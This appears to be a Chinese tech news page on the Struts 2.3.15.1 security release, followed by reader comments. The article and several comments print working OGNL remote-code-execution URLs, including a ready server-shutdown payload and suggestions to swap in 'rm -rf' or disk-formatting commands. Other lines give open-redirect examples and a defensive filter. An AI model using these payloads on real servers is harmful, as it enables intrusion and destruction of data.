阅读更多

39顶
4踩

企业架构
Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下:

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息:

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支,需要注意,该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址:http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
4
评论 共 59 条 请登录后发表评论
59 楼 HelloRong 2013-08-26 10:38
Null Nnll
58 楼 dongjinsuo 2013-08-21 16:20
   
57 楼 fhtwins 2013-08-16 14:39
这个漏洞比前几年的Struts2的远程执行任意代码的漏洞:
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

还要可怕!

我在公司内网小试了一下,所以Struts2技术开发的WEB项目,全挂!
56 楼 ysm274376500 2013-07-24 12:59
补充一下:
  上面并不是说只要过滤action、redirect等就行,只是举个例子,关键是要过滤ognl表达式的非法数据。
55 楼 ysm274376500 2013-07-24 12:32
这种漏洞,可以采用Interceptor过滤

String hacker=ServletActionContext.getRequest().getQueryString();
		String resultstr = "success";
		if(hacker.indexOf("action:%{")>-1||hacker.indexOf("redirect:%{")>-1||hacker.indexOf("redirectAction:%{")>-1){
			invocation.getInvocationContext().getValueStack().set(
					"message", "You are a hacker?");
			return Action.ERROR;
		}
54 楼 wnli350 2013-07-24 09:41
aly_boy 写道
从副主编到上面详细解释的人,都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞,同时还很详细的说明怎么来利用这个漏洞,卖弄技巧,不顾可能带来的后果。

你以为编辑们很牛B么,都是从官网拷的
53 楼 leeleo 2013-07-24 09:37
kylix_xp 写道
struts2这种垃圾框架早该废除了

那你先搞一个比这个好的出来,而且是开源的框架~~真是无语~
52 楼 venus224 2013-07-24 08:31
kylix_xp 写道
struts2这种垃圾框架早该废除了

对你无语
51 楼 kylix_xp 2013-07-23 15:27
struts2这种垃圾框架早该废除了
50 楼 leifeng2 2013-07-23 13:03
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}
系统架构:SSH,为什么我执行类似代码而没有反应?
49 楼 JianbinJava 2013-07-23 11:01
老闻了,,还新闻.
48 楼 bewithme 2013-07-23 10:51
gbwl_cgl 写道
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会?

都会

没有吧,我在Struts2.1.8的版本上没试出问题
47 楼 diggywang 2013-07-22 15:59
sweat89 写道
SunZh 写道
问题很严重!仅供测试,不负责!
windows服务器关机命令:
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢


Linux一样啊,把('Shutdown','-s','-t','1')改成linux下的命令就行了,如果app是root起来的,直接改成halt,关机!或者rm -rf ~/*,删除home目录下用户所有数据;如果是root,呃,你可以格式化掉整个硬盘...
46 楼 mlw2000 2013-07-22 12:37
qiaoenxin 写道
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题

+1 说白了就是要求把参数set到每个action的属性里去,这个事有必要动用ognl吗,动用ognl,但ognl表达式可以执行任意java代码,这就是问题的根源。
45 楼 qiaoenxin 2013-07-22 11:23
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题
44 楼 kingxip 2013-07-22 08:19
sushi0k 写道
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?





这么长的问题你应该发到问答去比较好。
43 楼 zhujintaozhu 2013-07-21 15:07
玩儿大发了,赶紧改吧!
42 楼 xianqi_h 2013-07-21 12:42
同意找出漏洞,互联网公司涉及struts2的应该注意了。
41 楼 sushi0k 2013-07-20 17:31
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?




40 楼 mlw2000 2013-07-19 18:01
wangxiang243 写道

真可以!!我擦
webwork2会有这样的bug吗?

既然struts 2.0有,那么webwork2也很难幸免。
问题分析见:http://www.inbreak.net/archives/507
在Iteye上的转帖(及额外备注):http://www.iteye.com/topic/1131358

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析,漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前,存在着严重的安全漏洞,如果现在一些比较大的网站是用JAVA做的,没有把版本升级,还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞? JFrog Xray 帮你扫描漏洞,并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬,阿里云也发布了一则告警,提示 Struts 2存在高危漏洞,距离上一次 Struts2漏洞报出也就是半年前,于是我决定研究下漏洞形成的原理,后来的事实证明,收获不小! ...

  • Struts2重要漏洞

    转载: Struts2被曝重要漏洞,波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司,Struts2的流通性太大了,导致很多人关注它,很多人都搞它,漏洞也发现得快,不过反过来想想,有这么多人关注,一点会很快的茁壮成长的吧。不过再这样一而再,再而三的来漏洞,大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web...

  • 2025最新电工技师考试题及答案.docx

    2025最新电工技师考试题及答案.docx

  • 基于java+ssm+mysql的玉安农副产品销售系统 源码+数据库+论文(高分毕设项目).zip

    项目已获导师指导并通过的高分毕业设计项目,可作为课程设计和期末大作业,下载即用无需修改,项目完整确保可以运行。 包含:项目源码、数据库脚本、软件工具等,该项目可以作为毕设、课程设计使用,前后端代码都在里面。 该系统功能完善、界面美观、操作简单、功能齐全、管理便捷,具有很高的实际应用价值。 项目都经过严格调试,确保可以运行!可以放心下载 技术组成 语言:java 开发环境:idea 数据库:MySql8.0 部署环境:Tomcat(建议用 7.x 或者 8.x 版本),maven 数据库工具:navicat

  • 骨科康复医疗领域知识图谱建立及其分析.pdf

    骨科康复医疗领域知识图谱建立及其分析.pdf

  • 基于交易能量框架的多微电网最优能源管理:配网协同优化以降低运营成本, 关键词:Transactive energy,微电网 配网 参考文档:Optimal Energy Management for

    基于交易能量框架的多微电网最优能源管理:配网协同优化以降低运营成本, 关键词:Transactive energy,微电网 配网 参考文档:《Optimal Energy Management for Multi-Microgrid Under a Transactive Energy Framework With Distributionally Robust Optimization》2021一区半完美复现 仿真平台:MATLAB YALMIP GUROBI 主要内容:我们制定了一个基于交易能量(TE)框架的上游网络和网络中电网的能源调度的优化问题,以最小化运营成本。 市电网与上游网络之间的能源管理由配电系统运营商(DSO)操作,这不同于传统电力系统中的直接控制信号和固定定价机制。 ,Transactive energy; 微电网; 配网; 能源调度; 运营成本; 配电系统运营商(DSO); 交易能量框架; 优化问题; MATLAB YALMIP GUROBI。,Transactive Energy驱动的微电网配网能源调度优化策略研究

  • 西门子1200 PLC与欧姆龙E5cc温控器双重控制通讯程序:远程触摸屏与本地温控器485通讯实现轮询式控制及温度监测,西门子1200与欧姆龙E5cc温控器 远程+本地双重控制通讯程序

    西门子1200 PLC与欧姆龙E5cc温控器双重控制通讯程序:远程触摸屏与本地温控器485通讯实现轮询式控制及温度监测,西门子1200与欧姆龙E5cc温控器 远程+本地双重控制通讯程序 功能:实现西门子1200 PLC对欧姆龙E5cc温控器进行485通讯控制,在触摸屏上设定温度,读取温度 ,也可以在温控器本体设定温度。 达到双重控制 程序采用轮询方式,有通讯故障后再恢复功能,也可以后续根据需要在此基础上扩充台数 器件:西门子1200 1214DC DC DC.昆仑通态TPC7062Ti ,西门子KTP700 Basic PN,欧姆龙E5cc温控器。 说明:是程序,带详细注释程序,触摸屏程序,PLC设置和温控器设置,接线说明书。 ,关键词:西门子1200;欧姆龙E5cc温控器;485通讯控制;远程+本地双重控制;轮询方式;通讯故障恢复;昆仑通态TPC7062Ti;西门子KTP700 Basic PN;详细注释程序;触摸屏程序;PLC设置;温控器设置;接线说明书。,西门子1200与欧姆龙E5cc温控器通讯控制程序:远程本地双重控制及详解

  • 2025专业技术人员继续教育公需课题库(附含答案).pptx

    2025专业技术人员继续教育公需课题库(附含答案).pptx

  • 2025医院手术室应急预案考核试题及答案.docx

    2025医院手术室应急预案考核试题及答案.docx

  • 2025数字化技术基础试题(含答案).docx

    2025数字化技术基础试题(含答案).docx

Global site tag (gtag.js) - Google Analytics